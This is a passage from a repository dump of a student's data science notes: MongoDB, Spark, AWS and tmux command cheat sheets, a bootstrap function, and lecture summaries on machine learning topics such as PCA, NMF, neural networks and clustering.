\"17\", \"friends\" : [ \"Billy\" ], \"car\" : \"Civic\" }\n\nQuerying\ndb.users.find({ name: 'Jon'}) // find by single field\ndb.users.find({ car: { $exists : true } }) // find by presence of field\ndb.users.find({ friends: 'Henry' }) // find by value in array\ndb.users.find({}, { name: true }) // field selection (only return name)\ndb.users.findOne() #helpful to find one record so u can see structure\n\nUpdating\ndb.users.update({name: \"Jon\"}, { $set: {friends: [\"Phil\"]}}) // replaces friends array\ndb.users.update({name: \"Jon\"}, { $push: {friends: \"Susie\"}}) // adds to friends array\ndb.users.update({name: \"Stevie\"}, { $push: {friends: \"Nicks\"}}, true) // upsert\ndb.users.update({}, { $set: { activated : false } }, false, true) // multiple updates\n\nImports and Cursors\n To import existing data into a mongo database one uses mongoimport at the command line. In this way mongo will accept a number of data types: JSON, CSV, and TSV.\nmongoimport --db tweets --collection coffee --file coffee-tweets.json\n Now that we have some larger data we can see that returns from queries are not always so small.\n use tweets\ndb.coffee.find()\n When the return from a query will display up to the first 20 documents, after that you will need to type it to get more. The cursor that it returns is actually an object that has many methods implemented on it and supports the command it to iterate through more return items.\ndb.coffee.find().count() // 122\ndb.coffee.find().limit(2) // Only two documents\ndb.coffee.find().sort({ 'user.followers_count' : -1}).limit(3) // Top three users by followers count\n\nIteration\n MongoDB also has a flexible shell/driver. This allows you take some action based on a query or update documents. You can use an iterator on the cursor to go document by document. In the Javascript shell we can do this with Javascript's forEach. forEach is similar to Python's iteration with the for loop; however, Javascript actually has a more functional approach to this type of iteration and requires that you pass a callback, a function, similar to map and reduce.\ndb.coffee.find().forEach(function(doc) {\n doc.entities.urls.forEach(function(url) {\n db.urls.update({ 'url': url }, { $push: { 'user': doc.user } }, true)\n });\n});\n\nAggregation\n Aggregations in Mongo end up being way less pretty than in SQL/Pandas. Let's just bite the bullet and take a look:\ndb.coffee.aggregate( [ { $group :\n {\n _id: \"$filter_level\",\n count: { $sum: 1 }\n }\n}])\n Here we are first declaring that we're going to do some sort of grouping operation. Then, as Mongo desires everything to have an _id field, we specify that the _id is going to be the filter level. And then we're going to perform a sum over each level counting 1 for each observation. This information is going to be stored in a field called count. What do we get back?\n We can also do more complicated stuff as well. Here's a query that returns the average number of friends users in this dataset by country. We need to access the country code field of the place field, but that is easy with an object oriented language like JS.\ndb.coffee.aggregate( [ { $group :\n {\n _id: \"$place.country_code\",\n averageFriendCount: { $max: \"$user.friends_count\" }\n }\n}])\n\n\n\n# Boto for interaction with Amazon Web Services\nimport boto\n\n# setting up aws access keys using json\nwith open('/Users/sf321092/aws.json') as f:\n data = json.load(f)\n access_key = data['access-key']\n secret_access_key = data['secret-access-key']\n\n#open boto connection\nconn = boto.connect_s3(access_key, secret_access_key)\n\n#upload histogram to AWS S3\nbucket = conn.get_bucket('testing-geoff')\n#create a new key, which is akin to a new file in the bucket\nfile_object = bucket.new_key('geofffig.png')\n#set key contents from filename in local path\nfile_object.set_contents_from_filename('/Users/sf321092/ds/gal/daily/high-performance-python/geofffig.png')\n\n# command line code to log onto amazon instance from terminal, turns terminal into a terminal on the remote EC2 instance using ssh\nssh -X -i /Users/sf321092/.ssh/galkey.pem ubuntu@ec2-54-225-0-87.compute-1.amazonaws.com\n\n# Command line code to write files to EC2 instance using scp\nscp -i /Users/sf321092/.ssh/galkey.pem /Users/sf321092/ds/gal/daily/high-performance-python/geoff_script.py ubuntu@e<public instance id>:~\n\n\n# SPARK! Distributed Data Management\nimport pyspark\nsc = ps.SparkContext('local[4]') #initiating spark context locally using 4 cores\nsc.parallelize(lst) #creates an RDD for local list lst\nsc.textFile('sales.txt') #I believe this creates an RDD from a text file\n .map(function) and .filter() # are functions you call on the sc object that perform transformations to create new RDDs from existing RDDs.\n .count() # is an action and brings the data from the RDDs back to the driver.\n .first() #an action that returns the first entry in the RDD\n .take(2) #an action that returns the first two entries in the RDD as a list\n .collect() #an action that pulls all entries in the RDD, requiring the entire RDD to fit into memory \n\n#word count example using Spark\nsc.textFile('input.txt')\\\n .flatMap(lambda line: line.split())\\\n .map(lambda word: (word, 1))\\\n .reduceByKey(lambda count1, count2: count1 + count2)\\\n .collect()\n\n # Example Spark Commands\n Expression\tMeaning\n filter(lambda x: x % 2 == 0)\tDiscard non-even elements\n map(lambda x: x * 2)\tMultiply each RDD element by 2\n map(lambda x: x.split())\tSplit each string into words\n flatMap(lambda x: x.split())\tSplit each string into words and flatten sequence\n sample(withReplacement = True, 0.25)\tCreate sample of 25% of elements with replacement\n union(rdd)\tAppend rdd to existing RDD\n distinct()\tRemove duplicates in RDD\n sortBy(lambda x: x, ascending = False)\tSort elements in descending order\n\n Common Actions\n Expression\tMeaning\n collect()\tConvert RDD to in-memory list\n take(3)\tFirst 3 elements of RDD\n top(3)\tTop 3 elements of RDD\n takeSample(withReplacement = True, 3)\tCreate sample of 3 elements with replacement\n sum()\tFind element sum (assumes numeric elements)\n mean()\tFind element mean (assumes numeric elements)\n stdev()\tFind element deviation (assumes numeric elements)\n\njson.loads()\njson.dumps() #use in mappnig functions to change items in RDD to json. read documentation\n\n# Spark Hive commands (to work with Hive data frames in Spark)\nhive_cxt = HiveContext(sc)\ndf = hive_cxt.createDataFrame(iris_pandas_df) #create df in a hive context\ndf.printSchema()\ndf.filter(df['petal_length'] > 2).rdd.map(tuple).collect() #filter using Hive\ndf.registerTempTable('iris')\nhive_cxt.sql('''SELECT * from iris\n WHERE petal_length > 2''').head(5) #SQL Hive query using Spark\n\n\n\n#Spark local UI is at localhost:8080\n\n#create local master node, run from inside master tmux session initiated by first command\ntmux new -s master #first command\n${SPARK_HOME}/bin/spark-class org.apache.spark.deploy.master.Master \\\n-h 127.0.0.1 \\\n-p 7077 \\\n--webui-port 8080\n\n#create local worker node, run from inside worker tmux session initiated by first command\ntmux new -s worker1\n${SPARK_HOME}/bin/spark-class org.apache.spark.deploy.worker.Worker \\\n-c 1 \\\n-m 1G \\\nspark://127.0.0.1:7077\n\n#start ipython notebook to interact with LOCAL spark cluster\nIPYTHON_OPTS=\"notebook\" ${SPARK_HOME}/bin/pyspark \\\n--master spark://127.0.0.1:7077 \\\n--executor-memory 1G \\\n--driver-memory 1G\n\n\n\n#Tmux, run commands in terminal\nbrew install tmux # Install tmux with homebrew\ntmux new -s [session_name] # Start a new tmux session\nctrl + b, d # Detach from that tmux session\nctrl + b, % # start a new pane in a window, horizontal\nctrl + b, double quote # start a new vertical split pain in window \nctrl + b, o # switches between various panes\ntmux ls # Get a list of your currently running tmux sessions\ntmux attach -t [session_name] # Attach to an existing session (can use a instead of attach)\ntmux kill-session -t myname #kill session\ntmux ls | grep : | cut -d. -f1 | awk '{print substr($1, 0, length($1)-1)}' | xargs kill #kill all tmux sessions\n\n\n\n\n#Spark AWS\nmv Dowloads/<pemname>.pen .ssh/ #move file from folder to .ssh/\nls -l #single file per line ls with read/write notation\nchmod 600 <filename>.pem #change read write privileges for your pem file\nls -a #hidden folders in home folder\n\n# path to spark EC2 scropt: ~/spark-1.5.0-bin-hadoop1/ec2/spark-ec2\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] -s 6 --copy-aws-credentials --ebs-vol-size=64 launch [give your cluster a name] #command line command to launch cluster using default settings\n\n#ie command line code:\n/usr/local/spark-1.5.0-bin-hadoop2.6/ec2/spark-ec2 -k sparkler -i ~/pem_files/sparkler.pem -r us-west-1 -s 6 --copy-aws-credentials --ebs-vol-size=64 launch my_cluster\n\n#scp transfer installation scripts (or files in general) to cluster master\nscp -i <path to pem file> <file to copy> root@<your master DNS>:/root/.\n\n#ie scp code to transfer files\nscp -i ~/pem_files/sparkler.pem install_scripts/install_these root@ec2-52-53-215-216.us-west-1.compute.amazonaws.com:/root/.\n\n#log into cluster and run installation scripts\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] login [the name of your cluster]\n\nsource install_these # install install files from cluster master terminal\n\n#\"Pause\" or stop cluster (does not terminate)\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] stop [the name of your cluster]\n\n#restart paused/stopped cluster\n[path to your spark-ec2 script] -k [key name] -i [path to your pem file] -r [aws region] start [the name of your cluster]\n\n\n\n# Flask for python web servers\nfrom flask import Flask, request\napp = Flask(__name__) #requisite first line for a flask script, instantiating the app class for use throughout the script\n@app.route('/') #defines each page, / alone is root\napp.run(host='0.0.0.0', port=8080, debug=True) #put under main block, debug=True allows for autoreload for debugging code edits in real time\n\n\n\n\n#Pickle\nimport cPickle as pickle #cPickle is faster than pickle\n\nwith open(\"model.pkl\", 'w') as f: #how to \"pickle\" a model named model into file model.pkl\n pickle.dump(model, f)\n\nwith open(\"model.pkl\") as f_un: #to unpickle a model to use\n model_unpickled = pickle.load(f_un)\n'''\n\n\n\n```\n"},{"alpha_fraction":0.5779816508293152,"alphanum_fraction":0.5963302850723267,"avg_line_length":23.22222137451172,"blob_id":"c13be91dd9116269a75c74c8e0c27af91c772844","content_id":"0ca3d88ddbc8dae0a54950f8a05435f6e9f192fd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":436,"license_type":"no_license","max_line_length":55,"num_lines":18,"path":"/160601 Code Review Questions.py","repo_name":"geoffisdancing/galnotes","src_encoding":"UTF-8","text":"# Code questions\n\n\n# array.shape[0]\ndef bootstrap(arr, iterations=10000):\n if type(arr) != np.ndarray:\n arr = np.array(arr)\n\n if len(arr.shape) < 2:\n arr = arr[:, np.newaxis]\n\n nrows = arr.shape[0]\n boot_samples = []\n for _ in xrange(iterations):\n row_inds = np.random.randint(nrows, size=nrows)\n boot_sample = arr[row_inds, :]\n boot_samples.append(boot_sample)\n return boot_samples\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7367845773696899,\n \"alphanum_fraction\": 0.7428185939788818,\n \"avg_line_length\": 81.86377716064453,\n \"blob_id\": \"adb9c0e86ea87eb878f3b683c5e6c75a751d7e55\",\n \"content_id\": \"0b7c00b124cd8806a63699a169caaa88ea50156f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 105315,\n \"license_type\": \"no_license\",\n \"max_line_length\": 496,\n \"num_lines\": 1270,\n \"path\": \"/160601 Galvanize Lecture Notes.md\",\n \"repo_name\": \"geoffisdancing/galnotes\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"160822 Model Comparison Lecture\\n 1. Linear Model\\n - Interpretability, given the linear assumption\\n - R2 represents the total variabilty explained by the model. Recall that by adding more features, R2 increases, so be aware that this is a limitaiton of R2 (doesn't penalize for increased features (model complexity))\\n - So adjusted R2, AIC, BIC account for increased complexity\\n - Need to assume constant variance in errors (homoskedastic)\\n - ie residuals are clustered randomly as x increases in residual plot.\\n - can do transformations to address this (because will be biased in the long-run)\\n - Assume mean zero\\n - Assume no multicolinearity, assume no autoregressive terms\\n 2. Logistic Regression\\n - Need to normalize each feature if you want to interpret betas as strenghts of association\\n - Regularization of regression (in general) with Ridge/Lasso helps to optimize the Bias/Variance tradeoff, such that you decrease variance without sacrificing too much Bias\\n - Elastic net as the nice combination of LASSO & Ridge.\\n 3. KNN\\n - Pick \\\"k\\\" using cross-validation\\n - Can be helpful to impute data\\n 4. Decision Trees\\n - Can only do axis parallel splits\\n - In regression , minimize mean squared error in each leaf\\n - In classification, minimize \\\"information criteria\\\" Not sure, review\\n - \\\"Greedy algorithm\\\" meaning will pick the best split at the given point, without regard for the bigger picture performance.\\n - Almost never converges to the global optimimum\\n - Slow, because will look at every possible split at every node, so this take a lot of computational time.\\n - Deterministic, meaning it will build the same tree each time\\n - Decide on tree depth:\\n - Prepruning: depth, number of points in node etc\\n - Post pruning: prune back after making it deep .\\n 5. Ensembling techniques\\n - Bagging: Bootstrap Aggregating\\n - Create bunch of trees on a bootstrapped subsample of the data\\n - Inherently correlated\\n - But decrease variance\\n - Random forest: Same as Bagging, except that at each split, limit features space\\n - Taking the average of trees, so, makes it difficult to overfit\\n 6. SVM\\n - Perform fairly well in high dimension cases\\n 7. Gradient Boosting\\n - Forward stagewise, learns from the prior model\\n - Gradient descent by fitting a new tree to the residuals\\n - Aggregating, trying to fit to where you didn't fit as well earlier\\n - Hyperparameters:\\n - depth of tree\\n - learning rate: ignore votes of some tree\\n - number of trees\\n - minimum samples per leaf\\n 8. Unsupervised Methods\\n - K Means\\n - can't include categorical variables \\n - need to scale the variables\\n - Hierarchical Clustering\\n - Choose two points close to one another, form groups from bottom up\\n - Dendrograms result and you can then chop off dendrograms at certain points to determine what groups look at at that point\\n - Benefit is you don't need to pick K at each point\\n - PCA\\n - Reduce dimensionality\\n - There's the possibility that the explanatory variable with the greatest predictive power is not in one of the dimensions reduced by PCA, causing it not to perform well\\n - SVD is a way of fitting\\n - Can do some latent feature analysis\\n\\n\\n\\n\\n160722 Graph Theory\\n 1. Terms:\\n - A graph is an unordered pair G = (V, E)\\n - V is our set of vertices\\n - E is a set of edges (pairs of vertices)\\n - V = {1,2,3}, E = {{1,2}, {2,3} etc}\\n - ORder is number of vertices, Size is number of edges\\n - Simple Graph: No loops and no multiple edges\\n - Degree: Number of neighbors\\n - For an undirected graph, an adjacency matrix is symmetric across the diagonal\\n - An Adjacency list is a list of nodes and edges denoting connection. An adjacency list requires storage of VxE, whereas an adjacency matrix requires storage of V^2 (since its a matrix)\\n - For lookup, Adjacency list requires searching V items for your answer, a matrix essentially doesn't require lookup since you can index right to your answer\\n 2. Node importance\\n - Degree centrality = # of connections\\n - Betweenness centrality = a measure of node importance based on how many (shortest) paths cross through a given node\\n - Eigenvector centrality = Take the eigenvector of the adjacency matrix multiplied by matrix of ones, then again over and over see SSS21\\n - Way of accounting for the importance of nodes who are connections to a given node to determine the importance / centrality of the given node\\n - SSS21\\n - What Makes a community:\\n - Mutual Ties\\n - Compactness\\n - Dense edges\\n - Separation from other groups\\n - Modularity, Q, is a measure of community-ness\\n - SSS22 Modularity equation\\n - m is total number of degrees in the network\\n - Heuristic to maximize modularity is to cut the edges with the greatest betweenness centrality, and calculate the modularity equation in the remaining communities created--and graph this; repeat for the next edge with next highest betweenness centrality. The edge at which this will peak and this peak is appx where the Q is maximized.\\n\\n\\n160721 Spark AWS\\n 1. Spark Data Frames\\n - Faster than traditional RDDs.\\n - Abstraction that simplifies working with structured databases.\\n - So after creating a spark context, you instantiate a hive or SQL context (feeding it the spark context).\\n - Load up data directly into the hive context.\\n\\n\\n160720 Apache Spark\\n 1. Overall\\n - Spark is a framework for distributed processing\\n - Streamlined alternative to Map-Reduce\\n - Spark can be written in Scala, Java or Python\\n - Can analyze petabytes of data\\n - Faster than Map Reduce, API is simpler\\n - Spark job consists of a series of map and reduce function\\n - Intermediate data is kept in memory rather than written to disk\\n - Trade off is that it requires more memory.\\n - Spark outshines Map Reduce with iterative algorithms, where you don't have to save results of each step to disk\\n - For non-iterative algorithms Spark is comparable to Map Reduce\\n 2. Spark\\n - HIGH LEVEL SUMMARY: So with spark, you construct the RDD, feed it a list of data, then perform a series of transformations (can be many) until you have what you want and then perform an action to aggregate the result.\\n - A Spark job pushes the data to the cluster, all computation happens on the executors, then the result is sent back to the driver.\\n - Spark does the parallelizing for you!\\n - RDD:\\tResilient Distributed Dataset or a distributed sequence of records\\n - Spark Job:\\tSequence of transformations on data with a final action\\n - Transformation:\\tSpark operation that produces an RDD\\n - Action:\\tSpark operation that produces a local object\\n - Spark Application:\\tSequence of Spark jobs and other code\\n - Transformations occur on the Worker nodes\\n - The data is collected on the Driver\\n 3.\\n - Group by key stores the values in memory, where as reduce by key, you only maintain the current accumulator so it is more light weight. But if you need the individual elements, you need to use group by key.\\n - Spark MLib : ML library for use on Spark\\n\\n\\n\\n\\n\\n160719 Map Reduce\\n 1. MMD Reading: Map Reduce\\n A. Several distributed file systems: Google File System, Hadoop Distributed FIle System, CloudStore\\n - Very large files (if small, no need for DFS) KEY REQUIREMENT\\n - Files rarely updated, rather they are read as data KEY REQUIREMENT\\n - Files are divided into chunks 64MB size, repeated ~3 times at three different nodes\\n B. Overall Map-Reduce Structure:\\n - Some number of Map tasks are given one or more chunks from a distributed file system. These Map tasks turn the chunk into a sequence of key-value pairs. The Map function determines how to calculate the value from the key.\\n - Key value pairs are collected by the master controller and sorted by key. All key-values pairs with the same key end up with the same Reduce task.\\n - The Reduce function combines all values associated with a given key in the way determined by the Reduce function.\\n 2. Big Data - Distributed Computing \\n A. The three Vs of Big Data\\n - High Volume, Velocity, Variety\\n - With distributed computing systems (involving many computers) you can scale \\\"out\\\" which means adding more computers which can thus take advantage of parallelizable algorithms\\n - Distributed Computing pros: Better scalability, easy to add more machines than to add more cores to a machine.\\n - Fault tolerance - if one machine fails the whole network is not down\\n - There is overhead involved with having multiple computers in a network communicate with each other, and there is a restrained set of problems that can readily be solved in a paralellizable way. So these considerations must be made when deciding whether to use distributed solutions.\\n B. Map Reduce \\n - Pushes the code to the data (rather than moving data to the code)\\n - Map Reduce handles details of distributed computing taking care of:\\n - Parallelization and Distribution\\n - Partitioning (shuffle & sort)\\n - Fault tolerance\\n - Resource Management\\n - Status and monitoring\\n - Map Function: Applies a function to each elements of a data structure\\n - Action of taking in some form of data and filter/transforming it into another form. Outputs 0 or more possibly transformed versions of the data\\n - Reduce Function: Takes a function which aggregates the elements of a data structure\\n - Action of taking a bunch of grouped data and combining it.\\n - Network/Bandwidth is a limited resource in Map Reduce operations. So try to decrease the amount of data that you need to move/sort around the framework.\\n - HIVE - SQL like language to query Map Reduce\\n - APACHE HBASE -\\n - Pig - high level language over Map Reduce\\n\\n\\n\\n\\n160718 Amazon Web Services\\n 1. Instance type:\\n m4, general purpose, balance between network, CPU etc\\n c, denotes compute\\n g, denotes GPU based instances\\n\\n\\n160712 Neural Networks\\n 1. Dense layer, or fully connected layer: proximal layer has connections between every node in that layer and the input layer\\n - Each node in each layer is a function of the outputs of the input layer\\n - Place a different weight on each connection between the input layer and layer 1\\n - Can initialize with a random weight\\n - So you have a matrix of weights between every node in each layer\\n - Goal is to learn the weights via training\\n - So the function of a given node is then the matrix-wise dot product of the weights for that layer dot-product the input layer (preceding).\\n - There is additionally an \\\"activation function\\\" that defines how to combine the inputs with the weights from each node of the layer. Usually define the function uniformly across the layer, and often across the neural network.\\n - Several functions work better than others for this purpose\\n - Constraint is that the function must be differentiable\\n - Predefine neural network structure and functions etc.\\n - Weights are then learned via \\\"training\\\" to minimize the output loss function\\n - SSS20 Neural Network Architecture\\n - Layer 2, for example, will take the augmented values of layer 1, run it through the activation function, and output to the next layer\\n - Loss function is put on the output (must be differentiable) to determine the loss of true vs. predicted, and then change weights to minimize the loss\\n 2. Optimizing Weights:\\n - LEARN MORE HERE: ultimately you can describe the impact a given weight has on the ultimate loss function as a function of distal layers/weights.\\n - So you send a \\\"batch\\\" of x's through the network, obtain a loss function, then\\n - backpropagation is using that loss to calculate the optimal weights to minimize loss.\\n - Then send another batch through, repeat.\\n - Ultimately, the network will see all the data in various batches\\n 3. General\\n - Neural networks require a lot of data to train, and underperform with smaller data sets\\n - But performance tends to continue to increase as data gets bigger\\n - Width of the network describes the number of nodes per layer\\n - Rules of thumb:\\n - First go for depth of the network\\n - Once can do that (errors etc), can increase width of the layer\\n - Want to \\\"overfit the data\\\", then impose regularization\\n - Drop out: is a value x btw 0-1, and will ignore x weights during forward and back propagation, to \\\"force the net to adjust the weight on a future prop if it is really important\\\"\\n - Learning Rate: decreasing the learning rate per node (similar to in trees)\\n 4. Convolutional Neural Networks\\n - Good when inputs are correlated with one another; ie pixels in an image\\n - Convolutions are smaller matrices that act as a filter when you pass it over the larger image.\\n - Train a neural network to learn the smaller matrices/filters. Similar to learning the weights in the above NN\\n - Note that this is not a dense network, only some nodes are affecting subsequent nodes\\n - After a convolutional layer, often do a \\\"Pooling\\\" layer (ie Max Pooling), which uses a small convolution ie 3x3, then takes the max of that area, then creates another smaller layer (causes significant information degradation). Tries to solve the problem of things not appearing in the exact same places, pooling tries to solve this.\\n - Can intersperse several convolutional layers and a pooling layer, and repeat as needed.\\n - In subsequent layers of the network, each convolution is akin to a node, and the convolutions themselves are like weights that are changed with each forward/back-propagation. Therefore, each layer can \\\"learn\\\" more complex interactions between the features, again such that you decrease the loss function.\\n - After the last convolutional layer, \\\"unravel\\\" the features that come out of the last layer into one or two fully-connected layers before giving the output predictions.\\n 5. General learnings from trying (in discussion with Carey):\\n A. First step in building a neural net is to build it such that you can show that it is \\\"learning\\\" and thus overfitting.\\n - Do this by building it as deep first then wide second as possible, and adding the relevant filters / max-pooling (or other pooling layer) that make sense conceptually given the problem.\\n - Then can feed it a subset of the training data (in replicate, ie x 10) and see if it perfectly predicts the output ie 100% accuracy. This suggests that it is overfitting and thus learning.\\n - Can then impose \\\"regularization\\\" through increasing dropout, decreasing layers, increasing filters etc, and test the performance of this (ie how well you are controlling for overfitting) using cross validation.\\n - Then ultimately once you've adequately regularized and adjusted for overfitting as suggested by cross-validation, then feed it test data and see how it does.\\n - Recall that you need to take the complexity of the data into account in the design of your model. Ie if it is a simple dataset, you shouldn't build a deep network, otherwise you will overfit. So prune layers.\\n B. Other things\\n - Its reasonable to use relu function for all upper layers, and then relevant activation for the final layer, such as sigmoid for a binary outcome.\\n - There is a train of thought that rather than initializing weights with the random uniform, perhaps use a gaussian distribution which may improve performance. Look into this and consider implementing.\\n\\n\\n160707 Recommenders: Collaborative Filtering Recommenders\\n 1. Collaborative Filtering\\n - considers past users behavior to predict missing ratings\\n - other types of recommending:\\n - popularity, independent of user's themselves\\n - content based: based on the properties/characteristic of an item and past user's behavior\\n - How to compare similarity?: User to user or item to item. In a setting where there are more users than items, calculating item to item similarity requires less computations.\\n - Also, user rows are sparsely populated. Whereas items are more densely populated\\n - Similarity comparison:\\n - Euclidean distance in practice doesn't work well as a comparison of similarity\\n - Pearson Correlation: measures how much two vectors deviate from their mean together. Isn't sensitive to users who consistently rate low or high\\n - Cosine distance: Measures the angle between two vectors. Equivalent to Pearson correlation coefficient when vectors are mean centered.\\n - Jaccard Similarity: Usable when you don't have ratings but have boolean data. Measures similarity between two sets.\\n 2. Predicting Ratings\\n - SSS16 Predicting Ratings\\n - to predict rating for item i: (the sum of similarities between items i and j times the user's true rating of item j) / sum of the similarities of items i and j.\\n - TO improve performance, can restrain calculations to items most similar to i.\\n 3. Recommenders are hard to validate:\\n - often deploy in A/B testing manner and see if it leads to more conversions\\n - can do k-fold cross validation\\n - Error metric: RMSE, though this considers how far off you are with all your ratings.\\n - Precision: proportion of top-n documents that are relevant \\n - Recall: proportion of relevant items in the top n.\\n - To do cross validation for a recommender:\\n - keep a percentage of your cells that have data (of the sparse matrix) and hold this as out as your test set. Then do cross-validation on the remaining (training set), and you can get an approximation of error using your held out test set. This is under the assumption that there is an ADDITIONAL test set that you will obtain a final score on (ie in a competition style setting).\\n 4. Review of SVD/ PCA\\n - All decomposed matrices (ie all axes of PCA) will be orthonormal.\\n - SVD is not very good for very sparse matrices, since you need to fill in missing values, and so the algorithm will try to fit to those values (ie 0) which doesn't perform well.\\n - NMF can be a good option for recommending systems using sparse matrices.\\n - The decomposed matrices W*H (from V = W*H)\\n - One thing you need to do is to impose a regularization factor (the right side of the equation), so given the missing values, some values are not necessarily seen? ? so you need to impose a constraint on them using the normalization factor.\\n - SSS17 NMF equation for recommendation\\n 5. NMF\\n - Much of the observed variation in rating values is due to item bias and user bias. Capture this using a few bias terms: overall bias of the rating by the user i for item j:: b-ij = mean rating + b-i + b-j. bi = bias of the user on average; bj = item's average deviation from overall average.\\n - Thus the cost function can be updated to reflect the bias equation.\\n - SSS18 NMF Bias cost function\\n\\n\\n\\n\\n160706\\n 1. Non Negative Matrix Factorization\\n - At a high level: Non negative matrix factorization is a method of dimensionality reduction, whereby you break down a single matrix into two component matrices, but which have inner dimensions of \\\"k\\\". K defines the pre-defined k number of latent features you wish to find/break down your original matrix into.\\n - defining k here is similar to all other unsupervised learning techniques whereby you can define how many \\\"topics\\\" or categories you aim to find using the method.\\n - It is similar to PCA and SVD, except in PCA/SVD, the two resulting component vectors (specified by the size of latent features k you are seeking...ie the inner dimensions of the component matrices) are by definition orthogonal, whereas in NMF, they do not have to be (and thus often are not)\\n - SVD find orthogonal features between two matrices whereas NMF does not.\\n - Operationally, NMF finds the decomposed matrices W and H via an optimizatio method called alternative least squares: You have a target vector V shape (n x m). You initialize matrix W to be random values, shape (n x k). You then calculate matrix H shape (k x m) to minimize the least squares between W and V.\\n - You then fix H, and re calculate W to minimize least squares between H and V.\\n - Repeat alternating until least squares is minimized beyond a threshold or for a set number of iterations.\\n - V = W * H\\n - SSS19 NMF equation\\n - All values of V must be non-negative\\n - In NMF You \\\"clip\\\" the values of the resulting matrices such that they are non-negative values\\n - NMF decomposes feature matrix X (n x m) into W and H, which are not likely orthonormal\\n - W is (n x k) represents the strength of each latent feature for each observation\\n - H is (k x m) represents strength of each observed feature for each latent feature\\n - k is number of latent features\\n - W and H are learned via alternating least squares (ALS) as above\\n - ALS is biconvex, so you don't always find the global optima. Better optima can be found with strategic initializations (like k means) or from multiple random initializations\\n - NMF is an approximate factorization, and has non-unique solutions. Will find a local optima with non-convex RSS optimization\\n - k features is a tunable hyperparameter\\n 2. Extensions\\n - Regularization with NMF when using ALS\\n - In most cases of using NMF as a recommending system, you have data which is very sparse: ie data on many more items (movies, amazon items etc) than number of users--further the actual cells in this matrix that are occupied are the small minority.\\n - Given this, for SVD, you are forced to fill in the values with zeros or something else, to which the algorithm subsequent fits, which doesn't make much sense and thus does not perform well.\\n - with NMF, however, you don't have to impute missing values.\\n - SSS17 NMF equation for recommendation\\n - However, since W and H are randomly initialized in NMF, all values in these matrices are filled. Given the sparsity of the data as explained, this increases the likelihood that you will overfit the data given the simple RMS cost function.\\n - Thus, adding regularization to the cost function (right side of the equation in SSS17), is the practical reality of using NMF on real world recommender-type data sets.\\n - This regularized cost will serve to impose greater penalty on the wi and hj values that overfit the data, and this is applied DURING the ALS fitting process.\\n - lambda is a hyperparameter which you can tune, ie via graph search, comparing resulting models via RMSE error or something similar.\\n - In graphmodels, lambda is a hyperparameter as such, which you can tune.\\n - Can choose K with a cross-validation process \\n - cost function can be other than ALS such as information gain, gini index etc\\n - See tomomorrow's lecture for info on BIAS accomodation via NMF\\n 3. Project tips:\\n - \\\"interesting\\\"\\n - Focused question\\n\\n\\n160705 Dimensionality Reduction\\n 1. Principal Component Analysis\\n - With many dimensions, many features are likely correlated, so if there is highly correlated data, there is redundant information. So we try to decorrelate the input vectors.\\n - The covariance matrix of a feature space usually has a lot of large values\\n - The ideal is to find the covariance matrix where all non-diagonal values are 0.\\n - We can do this by defining that all of our PCA dimensions will be ORTHONORMAL to each other, thus by definition we remove all covariance from the covariance matrix between these dimensions.\\n - ORTHONORMAL means that all vectors are unit vectors and are orthogonal to each other (dop product = 0)\\n - The main idea is attempt to find a covariance matrix where all variables except the diagonal have minimal covariance with other variables, which means there is no relationship between the features\\n - We can transform the matrix to make this happen\\n - This corresponds to finding a new set of axes that better fit the data\\n - Start by defining the first dimension to capture the maximal variance in the data\\n - The second dimension (of this first component) is defined to be orthogonal to the first, so there is no covariance between the two features, given this definition\\n - Our goal with PCA is to find the transformation matrix V which when applied to original data X which gives us our ideal covariance matrix.\\n - In other words, to get the transformation, we need to find the eigenvalues and eigenvectors of M-T M.\\n - The Eigenvectors are the new basis; the eigenvalues are the variance in each of these dimensions.\\n - To reduce the number of dimensions to m << p, can get rid of the smallest lambdas\\n - To determine how many features to keep , can look at the scree plot, plotting the variances (eigenvalues) in increasing order. Choose the elbow or wherever the most information is captured.\\n - An eigenvector v of a linear transformation T is a non-zero vector that, when T is applied to it, does not change direction. Applying T to the eigenvector only scales the eigenvector by the scalar value lambda, called the eigenvalue.\\n - T(v) = Lambda(v)\\n - Each principal component projection is defined such that each tries to capture as much variance of the original data set.\\n 2. Curse of dimensionality\\n - Any technique that involves a distance metric suffers from this, which is that as features increase, the distance between them grows without bounds.\\n - Heuristic, for a model to be effective you need the distance between points to be less than some value d. Thus, you need 1/d^p data points, if you have p dimensions.\\n 3. Singular Value Decomposition: A method to help perform calculations necessary for PCA\\n - Since calculating the eigenvalues and eigenvectors is difficult, the SVD technique allows for more efficient computation. SVD can also help find latent features.\\n - SVD is based on the following: every matrix has a unique decomposition in the following form: X = U E V.T\\n - U and V are orthonormal matrices (constraint imposed by the definition of PCA)\\n - E is a diagonal matrix of positive values; can reduce dimensions by sending the smaller diagonals to zero. Thus this is the method of dimensionality reduction via SVD.\\n - Plotting the scree plot and determining the elbow is a way to determine how many features/dimensions to keep.\\n - Allows you to calculate the eigenvector/eigenvalues for matrices, without computing the matrices themselves (computationally intensive).\\n - This is in fact what sklearn does under the hood to calculate PCA\\n 4. Latent Features\\n - Structure in the data that you don't observe directly\\n - SVD can help discover latent features\\n - In SVD/PCA, you find all the orthonormal matrices for every category of features in your data; so you usually end up with the same number of latent \\\"features\\\" as your original feature set.\\n - However, you can then calculate the information gain from each given feature, rank them, and then choose to keep only 3 or 5 or whatever. This varies from NMF in that in NMF you pre-specificy the k number of latent features you wish to find at the beginning of the procedure.\\n\\n\\n\\n160701 K Means Clustering/Hierarchical Clustering\\n 1. Supervised vs Unsupervised\\n - The loss function (described by the (y - y-hat), ie MSE etc) effectively \\\"supervises\\\" our learning of the relationship between y = f(x).\\n - In unsupervised learning. Can still try to discern structure from the x data.\\n - Unsupervised learning is particularly sensitive to selecting the right model, and deciding which data goes into the model.\\n 2. Clustering\\n - Dividing data into distinct subgroups. Since we don't have labels, choosing the value of k is of particular importance, since you never know the truth and can't cross-validate to infer the best k\\n 3. K Means\\n - We want within-cluster variation to be small\\n - Want assignment of points to groups so within cluster variation is the smallest. So one way is to minimize the squared euclidean distance between all pairwise points\\n - K means procedure:\\n - start by 